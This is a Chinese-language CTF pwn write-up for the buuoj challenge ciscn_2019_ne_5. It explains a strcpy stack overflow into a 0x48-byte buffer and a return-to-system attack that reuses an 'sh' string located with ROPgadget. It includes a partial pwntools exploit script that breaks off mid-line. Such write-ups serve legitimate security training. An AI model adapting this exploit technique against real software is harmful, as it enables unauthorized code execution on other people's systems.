buuoj Pwn writeup 21-30
21 ciscn_2019_ne_5 保护 这个地方的strcpy函数,一看就估摸着有问题。 他把src那块的东西复制到了dest 但是你会发现 dest那里 0x48 但是你是可以往src那里输入东西的。 一口气能输128个字节,那这就造成了溢出。 那再说怎么利用 这个地方首先要注意他这里没有/bin/sh,但是有sh 而且还非常隐蔽 所以呢咱们这边推荐之后/bin/sh跟sh的搜索都用ROPgadget。 非常的nice 然后程序里面本来就有system函数,然后就一把梭。 exp from pwn import * context ( log_level = 'debug' ) proc_name = './2019' p = process ( proc_name ) # p = remote('node3.buuoj.cn', 29868) elf = ELF ( proc_name ) system_addr = elf . sym [ 'system' ] main_addr = elf . sym [ 'main' ] sh_str = 0x80482ea p . sendlineafter ( 'password:' , 'administrator' ) p . recv ( ) p . sendline ( '1' ) p . recvuntil (